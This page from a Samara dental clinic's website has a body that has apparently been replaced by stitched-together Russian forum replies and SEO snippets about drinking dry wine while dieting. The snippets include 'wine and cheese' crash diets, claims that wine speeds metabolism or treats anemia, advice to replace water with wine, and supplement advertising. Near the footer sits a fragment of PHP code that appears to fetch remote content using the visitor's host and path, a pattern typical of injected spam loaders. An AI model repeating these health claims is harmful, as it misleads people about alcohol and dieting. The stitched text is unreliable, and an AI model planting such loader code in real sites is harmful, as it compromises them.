Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Пмогает ли красное сухое вино на диете?

Ага

Чему помогает? снять стресс да, минимум калорий, но поосторожнее алкоголь снимает стопор и аппетит увеличивается.

Да, от него забываешь, что на диете))))

Да помогает

Алкаши говорят! Все спиртные напитки помогают на диетах, если пить и не закусывать xD

От любого вина у меня просыпается аппетит. Так что, мне точно не поможет.

Нет
это жидкие, лишние не нужные калории

Алкоголизму и циррозу печени.

Пойду сейчас за фруктами, за мороженным, бутылочку сухого вина куплю.. А завтра - на диету.. Это правильный подход?)

Нет

Действие на организм. В борьбе с лишним весом женщины ищут все новых союзников. В их числе есть и красное вино. Медики уже давно признали, что в малых количествах алкоголь не враг наш, а друг.

Думаю да

Вино и диета.... ешьте, пока есть на что) , что и в куда)

Лучше с понедельника)

В общем... да.... но еще к бутылочки... мужичка зацепи)))))

С понедельника - на диету

Алкоголь при диетах не советуют не потому что он калориен, а потому что он разжигает аппетит, и люди удержаться не могут.Главное не частить с пивом и пить все же по чуть-чуть. А бокал сухого вина можно хоть каждый день, в лечебных целях .

Любимый мой вариант!

Нет, не правильный. Новую жизнь принято начинать с понедельника :)

Безусловно. Перед ответственным мероприятием всегда надо себя побаловать)

Ешь на 50 руб. в день. вот и вся диета

Нахуй пить вино, ребята, пейте балтику девятку и будьте здоровы!

Врачи настоятельно рекомендуют употреблять сухое вино при анемии, два бокалаПольза и Вред Красного Вина Для Здоровья Польза и Вред Вина Для Здоровья Полезные Свойства Вина Для Здоровья Калорийность Вина в Вашей Диете Простой Рецепт Вина Из Терна в Домашних...

Та вы там ничего ни съели такого..) Чтоб диетой обзаводиться. . )Нормальный. . Выходной вкусный денёк :)..

От сухого вина на диету? )) На то оно и сухое, что оно без сахара. Ваше мороженое будет нейтрализовано этой кислятиной.

Да все что вы перечислили вполне диетические вещи так что вы уже сегодня на диете

Есть ли кто соблюдал жесткую диету, но пил сухое вино? Сильно ли это повлияло на потерю веса?

Это же углеводы

Сухое вино. Был и ещ один ньюанс соответствующие дозы алкоголя набираются средиземноморцами преимущественно за сч т сухих вин.Средиземноморская диета, помимо сухих вин включает большую долю морской рыбы, морепродуктов, овощей, фруктов и...

Я сейчас голодую так как не хватает денежных средств но за диету не считаю потому что мужик должен плотно кушать нет еды пью воду есть еда ем до сыта

Спорт зал форевер.
Диеты оцтой

Диеты всякие бывают ) Большинство шарлатанских

Лучше не пробуй! После вина жрать охота.

Опишите средиземноморскую диету, пожалуйста

Описание здесь - жми

Алкоголь при диете - какие напитки пить за праздничным столом, чтобы не поправиться.Как видно, практичнее всего с точки зрения диетологии употреблять или шампанское Брют, или сухое вино.

Сухое вино и свежие морепродукты.

Сухоегавно и свежие какашки

Обратите внимание на море Лаптевых.

Белое сухое вино низкокалорийнее, чем красное сухое. Почему при диетах тогда рекомендуют пить красное?

Да все просто, диеты составляют бараны и овцы, даже примерно не понимающие, о чем они пишут. алкоголь в любом случае стимулирует пролактин т. е. ни в какую диету, ни в каком виде он входить не может.

Диета с красным вином. Вот теперь, познакомившись с полезными свойствами вина, можно осознанно и с умным видом приступать к винной диете.Меню трехдневной диеты с белым вином. Завтрак ломтик сыра 120 г с пшеничным слайсом, бокал сухого белого вина

Диетологам:Буду ли я худеть,если буду есть залитую кипятком гречку(гречневая диета) - но попивая сухое белое вино с ней?

Лучше водчонку и огурчик

Я не говорю про пиво и водку, сладкое вино, ликеры и т.д. Их не советую пить, тем более на диете, а вот позволить себе бокальчик сухого вина, либо брюта, вполне можно. Калорий в них по минимуму.

Какой алкоголь можно пить... на диете???!

Сухое вино

Что можно пить на диете. Однако красное сухое вино как раз способствует ускорению обмена и содержит энзимы, помогающие переваривать жирную пищу. Поэтому бокал красного вина диету не испортит, так как содержит всего 80 ккал на 100 мл.

Его вообще лучше не пить...

Никакой!! ! алкогольная продукция вся каллорийная

Лучше никакого. Диета - уже стресс для организма, зачем усугублять? Или в составе диеты прописан алкоголь?

Думаю, что никакой не стоит. Если имеется в виду диета с целью сбросить вес, можно позволить себе иногда бокал сухого вина.

А что, такая потребность в алкоголе?

Другие же более благосклонны и призывают девушек сидящих на диете давать себе иногда слабину и позволять небольшие дозы алкоголя, чтобы снять стресс и напряжение. Сухое вино.

Вино))

Диетический, конечно.)) ) Смотря какая диета. Если низкоуглеводка, то любой. Но аккуратнее с печенью и поджелудочной. Если низкокалорийная - считайте калории - таблиц полно, если низкожировая - тоже смотрите таблицы.

Лучше не пить... и так диетами будете мучать организм.... хотя смотря какая диета)

Абсолютно никакого алкоголя

Да это точно.. диетой уже приносишь так сказать вред оорганизму... а алкоголь, сделает все намного хуже.. любой алкоголь-это же отрава нашему здоровью

Вино разрешено многими диетами, так как сухое вино не особо калорийное - 60-85 калорий на 100 грамм.Но сама диета занимает довольно продолжительное время, и во время одной из фаз фазы Консолидации - алкоголь при диете Дюкана разрешен.

Любой, но каждый имеет шанс быть последним!))))))))

Я когда на диете сидела ничего из спиртного пить не могла....

Кефир!

Можно пить сухое вино при диете?

Нет, только белое.

Французский поэт Поль Валери как-то сказал Цивилизация измеряется вином и сыром . И, в самом деле, эти два продукта во Франции употребляются в огромном количестве. Вино входит в ежедневное меню жителей этой замечательной страны в разумных пределах один-два бокала ...

Если не бутылками, то можно.

Сухое вино как раз употребляется при некоторых диетах.

Да! ! Ведь в нём нет сахара! Оно ускоряет обмен веществ! Хотя могут и написать что алкоголь каллориен и всё такое ..

Стаканчик можно)

Сухое белое вино совместимо с диетой.Я не знаю насчет точки зрения диетологии, но в моем опыте, достоинство бокала сухого вина для диеты исключительно моральное.

Вместо диеты!!!

Возможно что да. Так делают многие бодибилдеры перед соревнованиями - заменяют воду и всё остальное сухим белым вином, оно сушит кожу, и позволяет хорошо проявиться рельефу мышц.

Лучше не пить если строгая диета, ну а если нет то от стаканчика ничего не будет.

Можно

Net alkogol eto povviwenaeie Kaloriei ...
kromi tavo ana zatormajivaet Anaboli4iskiei protesi v teli

Какой алкоголь можно пить на диете. Даже во время диеты периодически хочется расслабиться, встретиться с друзьями, посидеть в кафе, выпить бокал вина или коктейль.Сидя на диете, лучше всего пить красное сухое вино.

Чем закусывать сухое вино, когда сидишь на диете? (при этом еще и есть дико хочется)))

Финиками
1. отлично усваиваются, там натуральные сахара
2.вкусно

Можно ли употреблять вино на диете. Калорийность вина сухого,полусладкого сладкого, крепленого, шампанского.Калорийность различных популярных видов вина в порядке возрастания 1 Сухое белое вино калорийность в среднем составляет 60-85 ккал на 100 г...

Вино может спровоцировать боли в пустом желудке, поэтому съеште хотя бы куриный бульон вначале

Рыба, обезжиренный сыр, это еще смотря какая диета. А вообще при диетах особенно строгих, алкоголь запрещается.

Согласна. Морепродукты туш в соб соку или отварные, сыр обезжиренный, овощи отварные.

Ешьте сыр.

Ну смотря какая диета, можно например сыром Олтермани, жирность 17%

Вино и сыр диета. Садитесь на эту трехдневную диету в выходные, поскольку вино придется пить прямо с утра. За 3 дня можно похудеть на 1,5-2 кг. Меню. Завтрак. 120 г сыра, тост из пшеничного хлеба, бокал белого сухого вина.

Сыром

Мне нравиться с фисташками : в меру калорийно, много не съешь и вкусно. Еще не плохо адыгейский сыр идет или свежая брынза.

Закусывать сухое вино сыром -- идея, согласен, неплохая. Но любой сыр просто невозможно считать низкокалорийным продуктом, поскольку помимо 15-20 % молочного жира, сыр на 70-80% (а обезжиренные сорта и больше) состоит из свернувшегося молочного белка - казеина. Который крайне плохо переноситься голодающим ЖКТ.
А попробуйте-ка закусывать некислыми яблоками - кожицу срезать, нарезать на тонкие дольки, сердцевину удалить. При этом большой плюс, то что яблоки содержат много пектина (клетчатки) , которая дасть чуство наполнения желудка и непереваривается.

Сидя на диете не пьют алкоголь! От него вы есть и хотите!

Сижу ни диете,не повредит ли бокал красного сухого вина?

Сок полезнее будет!!!!

Красное сухое вино при диете. Учитывая пользу этого алкогольного напитка, была разработана специальная методика похудения, которая рассчитана на 4 дня. За это время, по утверждению разработчиков, можно потерять до 5 кг.

Да сразу стаканюгу лучше махни водяры))

Бокал не повредит, главное не начать потом поедать все без разбора

Только не напейся) )

Бокал не повредит, а ВИНО МОЖЕТ .

Ученые из Австралии провели исследование и выяснили, что бокал красного вина и шоколад могут продлить жизнь человека на 6 лет. Такое сочетание продуктов снижает риск сердечно-сосудистых заболеваний. Хотите дожить до глубокой старости? Тогда запомните диетический комплекс, который специально для вас разработали зарубежные специалисты. Каждый день употребляйте в пищу 400 г овощей и фруктов, чеснок и миндаль, допустимо небольшое количество соевых бобов и орехов. В ежедневный рацион должно входить 150 мл красного вина, но не стоит злоупотреблять алкоголем и самостоятельно увеличивать его дозу... .
Выпив одну рюмку красного вина, вы поможете себе избавиться от лишнего веса, так как вино способствует уменьшению гликемии и коррекции гиперинсулинизации, вызывающей избыточный вес.

Большинство людей, стремящихся похудеть, интересует вопрос - можно ли алкоголь при диете с низким содержанием калорий? Многие разработчики методик питания, отвечая на этот вопрос, не видят ничего плохого в паре бокалов вина, выпитых по случаю торжества.

Я бы не советовала. В одном бокале вина вреда для фигуры нет.
Вино контроль снижает. Это минус.
После бокала может пойти второй, а потом и поесть себе не откажешь.

Диета и Алкоголь Подскажите пожалуйста, какие алкогольные напитки можно пить во время диеты.

Водку и сухое вино

Если в предыдущей диете красным вином в размере 1 л запастись гораздо проще, то тут, как говорится, аппетиты растут.Все остальное просто завтрак, обед, ужин состоит из одной и той же пищи 120 г сыра, 2 тоста, ну и, разумеется, белое сухое вино 200 г .

...Только чистый спирт...

Никаких. Потому как всякие пива, ликеры, вина - калорийные. А водка и сухое вино - сушат и человек после них пьет больше жидкости, значит опять-таки вся диета на смарку.

Девушка, ни в коем случае, никаких алкогольных веществ нельзя.

Сухое вино

Не надо лучше

Но, чтобы спиртное было не во вред, необходимо знать несколько простых правил. Почему нельзя алкоголь при диетах.Во время гречневой диеты также нежелательно употреблять спиртные напитки, но иногда можно позволить себе выпить стакан сухого вина которое само по...

Что можно позволить на празднике(еда,спиртное),если сидишь на диете?

Про спиртное - так точно забудьте :-)

Рацион диеты белое сухое вино при диете. 1 сутки Картофельный салат Тайская паста с куриным филе Клубничный крюшон Пудинг из рыбы с яично-масляным соусом. вторые сутки Зразы с фаршем Трюфели в винном соусе...

Смотреть и украшение салатов-веточки зелени

Всё зависит от диеты на которой вы сидите. хотя каждая диета вредна по своему. Это стресс для организма и большой. и если это моно диета, однозначное не дополучение организмом питательных веществ и витаминов, которые содержится в продуктах питания.
Что бы правильно похудеть есть можно всё , но в ограниченных количествах и по убыванию калорий. Не жрать мясо на ночь, а можно съесть отварное мясо с овощами в обед. и поверьте вы не поправитесь ни когда. а на ужин можно сделать лёгким, например салата из овощей или стаканом кефира.
в инете можно найти множество правильных диет. Не приносящих вред вашему здоровью .
Ведь не даром пословица гласит"
Завтрак съешь сам,
Обед подели с другом
а ужин отдай врагу"

Фруктовая тарелка
суши и роллы
морепродукты
сыр лайт

Читала кремлевскую диету.Можно ли шампанское при такой диете?Вино сухое можно,водку,ром.А про шампанское ничего нет.

Наверно невнимательно читали. Считаем углеводы в 100 гр. и решаем- пить или не пить.

Белое сухое вино в небольших дозах 150 мл в день помогает предотвратить развитие болезни Альцгеймера, поэтому его иногда рекомендуют пожилым людям, тем более что калорийность белого вина не более 64-66 ккал. Винная диета.

Что за диета на сухом белом вине?

Виная

Вино в этой диете является основным компонентом. Небольшая по длительности винная диета отрицательно не сказывается на организме, и за все время диетыУжин сухое красное вино 200 грамм. Вино можно выпить утром или в обед, но более предпочтительно на ужин.

Сухая ;)

Выела много закусила мало))

Просто сухое вино усушивает тело но оно и апетит нагоняет тогда можносорваться и наесться всего. опасно. но смотрите по себе. полезней заварной кофе он апетит не нагоняет но выводит лишнюю жидкость с тела

Для тех, кто хочет побыстрее спится, за одно и похудеть,

Диета на сухом белом вине? это правда?

Нет, это чушь. ограничение себя в пище и неумеренное питие приведет к потери и печени и мозгов

Особенно сухие качественные вина. Вино содержит в себе энзимы, омолаживающие организм и укрепляющие иммунитет.Винная диета варианты и правила. Диета на вине известна в нескольких вариантах.

Это вредно когда диета и так многого не кушать а от алкоголя лицо отекшее и синяки под глазами это правда вредно

Опьянение иногда заглушает аппетит, но не всегда и не у всех. и тогда - прощай, печень, здравствуй, язва желудка.

При любой диете расход каллорий должен быть больше их поступления.

Кто нибудь сидел на диете сухое вино + сыр 3 дня? Как впечатления и результаты?

Понос - алкоголизм

Приготовление домашнего сухого вина. Стоит знать еще и то, что положительных результатов от соблюдения винной диеты можно добиться лишь в том случае, если вино будет натуральным, а не подделкой.

Когда-то слышала, что у знакомой подруга сидела на такой диете постоянно, в итоге заработала анарексию... соответственно вывод - похудеть можно

Какой Алкоголь который можно употреблять при похудении?

Любой
главное не закусывать

Такой вариант приведет к большей потере веса, чем обычная диета, при той же первоначальной потере веса за счет выведения лишней жидкости. В обоих вариантах можно выбирать абсолютно любое сухое красное розовое вино.

Никакой, алкоголь очень калорийный, в 100 грамм виски содержится столько же калорий, сколько в биг маке

Никакой. Потому что алкоголь возбуждет аппетит.

Сухое вино, но лучше вообще не пить

Только сухое вино

Водичку лучше выпить, чем алкоголь.

Эта строгая трехдневная диета как нельзя лучше подойдет для тех, кто в отпуске. Ну или не в отпуске, но имеет в наличии три свободных дня.Вот такое несложно меню Завтрак. 120 г сыра, бокал белого сухого вина. Обед.

Алкоголь задерживает воду и разрушает мышцы.
Но от одного бокала красного сухого ничего не будет.
Я лично фанат вина и сыра. Но мне не очень непонятен алкоголь как обязательство на встречах с друзьями) Надо уметь отказывать людям.

А как вы думаете, итальянская диета - красное сухое вино, фрукты и секс - действительно работает?!

О да!!!!

Выглядит она таким образом Именно на этой диете в свое время сидели Клара Лучко, Нонна Мордюкова, Светлана Светличная, Ирина Муравьева, Наталья Варлей, Светлана Крючкова.Последние три дня самое приятное нежирный сыр и красное сухое вино.

Некоторое время, думаю, потом секс отпадет первым

Это скорее не диета, а образ жизни)))))!

Это не сбалансированная диета ( я про вино и фрукты)) . Ибудет большой стресс для организма.. . А секс всегда способствует похудению)))

Хочу порекомендовать Энергетический коктейль Energy Diet. Он дает энергию организму, дает все необходимые питательные вещества, одновременно заставляя организм использовать свои жировые запасы. С его помощью я уже за 2 недели увидела положительный результат в своей фигуре. Фигура изменилась, объемы уменьшились, и это не предел.

Не думаю

Гречневая диета. Меню очищающей и лечебной диеты на гречке, результаты похудения.Сухое красное вино имеет также бактерицидные свойства, способствует повышению уровня гемоглобина в крови.

Девушки!! Милые!! Подскажите! Можно ли пить сухое вино во время диеты??

Бокал можно, бутылку нет

Диета на вине и сыре. Как известно, натуральное вино полезно, а прием его в небольших количествах укрепляет сосуды, препятствует развитиюОднако для этой диеты не подойдет любое вино, нужно взять сухое красное, обязательно натуральное и хорошего качества.

Нет, нельзя: в вине много калорий. А вам это противопоказано!!!

Сухое белое вино в небольшом колличестве не повредит.

Желательно красное полусухое! Укрепляет сосуды и выводит токсины!

Бокал вина можно!

Почему есть такая диета "Сухое белое вино с сыром"? Как они дополняют друг друга и за счёт чего худеешь?

Я сидела на подобной диете давно, только вино было красное. На десятый день чуть сознание не потеряла, было очень плохо. Не советую

Вино сухое при диете. Никакие диеты быть плавным, в рационе дня диета набрала популярности несколько лет тому назад. Интенсивно, поэтому ее можно придерживаться достаточно проблемной зоне, это, что касается себе ввела еще одно послабление чашечка кофе...

Да каких только не бывает диет, я тебе их кучу могу придумать. эту диету придумали любители вина и сыра

Можно пить белое сухое вино,сидя на диете?

Можно но без фанатизма

Действие на организм. В борьбе с лишним весом женщины ищут все новых союзников. В их числе есть и красное вино. Медики уже давно признали, что в малых количествах алкоголь не враг наш, а друг.

Пить можно, закусывать вредно....

Думаю да..)

Посмотри таблицу коллорий "кремлевской диеты",там все расписано

Можно, но желательно красное сухое!

Рациональное питание:
правила для всех
1 Закон рационального питания: потреблять столько калорий сколько тратите в сутки. Съедите больше – поправитесь, съедите меньше – будете плохо себя чувствовать.
2 Закон рационального питания: с пищей организм должен получать определённое количество витаминов и минералов, белка, клетчатки и множество ценных питательных веществ.
3 Закон рационального питания: выпивать не меньше воды, чем теряет организм, что означает для взрослого человека примерно 2 литра в день.
«Мы – то, что мы едим! »
1.УГЛЕВОДЫ И КЛЕТЧАТКА
Хлебобулочные изделия, крупы, бобовые, картофель – основной источник углеводов, клетчатки, минеральных веществ. Наиболее полезны изделия и каши из цельного зерна. Но в процессе обработки теряется значительная часть витаминов и минералов, и «съесть» ежедневную норму клетчатки (35г) всё равно проблематично. Между тем, клетчатка – настоящий фит нес для желудка, без которого пищеварительная система «сбоит» .
2.БЕЛКИ И ЖИРЫ
Молоко и молочные продукты, мясо, рыба, яйца – источники полноценного белка и жиров. Но, например, в куске говядины, рассчитанном на одну порцию, содержится всего 19 г белка, который усвоится максимум на 75%,а съедать мы должны (в среднем) 60-80г – для женщин, 70-100г – для мужчин в день! Выход – специальные белковые добавки к рациону.
3.ВИТАМИНЫ
Овощи, фрукты, ягоды, зелень – источник витаминов, минералов, клетчатки и биологически активных веществ. Специалисты по здоровому питанию рекомендуют каждый день есть не менее пяти разных овощей или фруктов. Однако даже осенью, когда мы едим много свежих овощей и фруктов, витаминов нам не хватает.
Поэтому овощи и фрукты в вашем рационе не отменяют обязательный приём витаминно-минеральных добавок.
4.ВОДА
Человек на 75% состоит из воды. Залог здоровья – соблюдение водного баланса, т. е. потреблять воды организм должен не меньше чем терять. Причём речь идёт о полезной жидкости – чистой или минеральной воде, зелёном чае, но ни в коем случае не о кофе, крепком чае, сладких газировках. Они обладают обратным действием – обезвоживают организм и способствуют набору веса.
Сколько нужно энергии - столько нужно еды
За последние 100 лет потребность человека в энергии (калориях) уменьшилась почти в два раза – настолько уменьшилась необходимость работать физически. Также потребность в еде сокращается с возрастом. Зато потребность в витаминах и минералах постоянно возрастает! Что это значит? Нельзя перегружать организм «лишней» пищей, поэтому необходимо получать витамины, минералы, клетчатку, белок из биологически активных добавок.
Все просто и незачем аптека! Выход 1 - Formula 1!
Естественно для организма процесс пополнения питательных элементов!
Человек здоров и выглядит прекрасно когда выполняет следующие требования организма:
Начинайте день со стакана чистой воды;
Выпивайте в течение дня воды 35 мл на 1 кг вашего веса;
Начинайте день с завтрака, сразу после подъема через 30 мин;
Регулярно через 3 часа подпитывайте свой организм питательными элементами;
Исключите из своего рациона простые углеводы (печение, макароны, сахар, торты, конфеты, белый хлеб..) ;
Меньше жаренного и соленного;
За 2-3 часа до сна не ешьте;
Ведите активный образ жизни (если можно пройтись - идите, можно понести- несите, можно подбежать - бегите...) .
Это отличный первый шаг!

Алкоголь при диетах не советуют не потому что он калориен, а потому что он разжигает аппетит, и люди удержаться не могут.Главное не частить с пивом и пить все же по чуть-чуть. А бокал сухого вина можно хоть каждый день, в лечебных целях .

Всё в меру.

Когда сидишь на диете, можно сухое вино?

Вообще то можно.... но держись от аппетита....

Врачи настоятельно рекомендуют употреблять сухое вино при анемии, два бокалаПольза и Вред Красного Вина Для Здоровья Польза и Вред Вина Для Здоровья Полезные Свойства Вина Для Здоровья Калорийность Вина в Вашей Диете Простой Рецепт Вина Из Терна в Домашних...

Вообще-то во время диеты никакого спиртного нельзя употреблять!
Я тоже все пытаюсь сесть на диету но не получается, потому что слишком люблю пивко!

Можно, по 30-50 г за полчаса до еды. Хорошо чистит сосуды. Но вызовет аппетит. И диетой не похудеешь. Только нервы сорвешь. После диеты наберешь все вновь. Есть клинически испытанные, сертифицированные недорогие препараты. Зачем изобретать велосипед?

Можно 1 бокал красного сухово вина, если проблемы с желудком, то полусладкое.

Сухое вино при диете
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта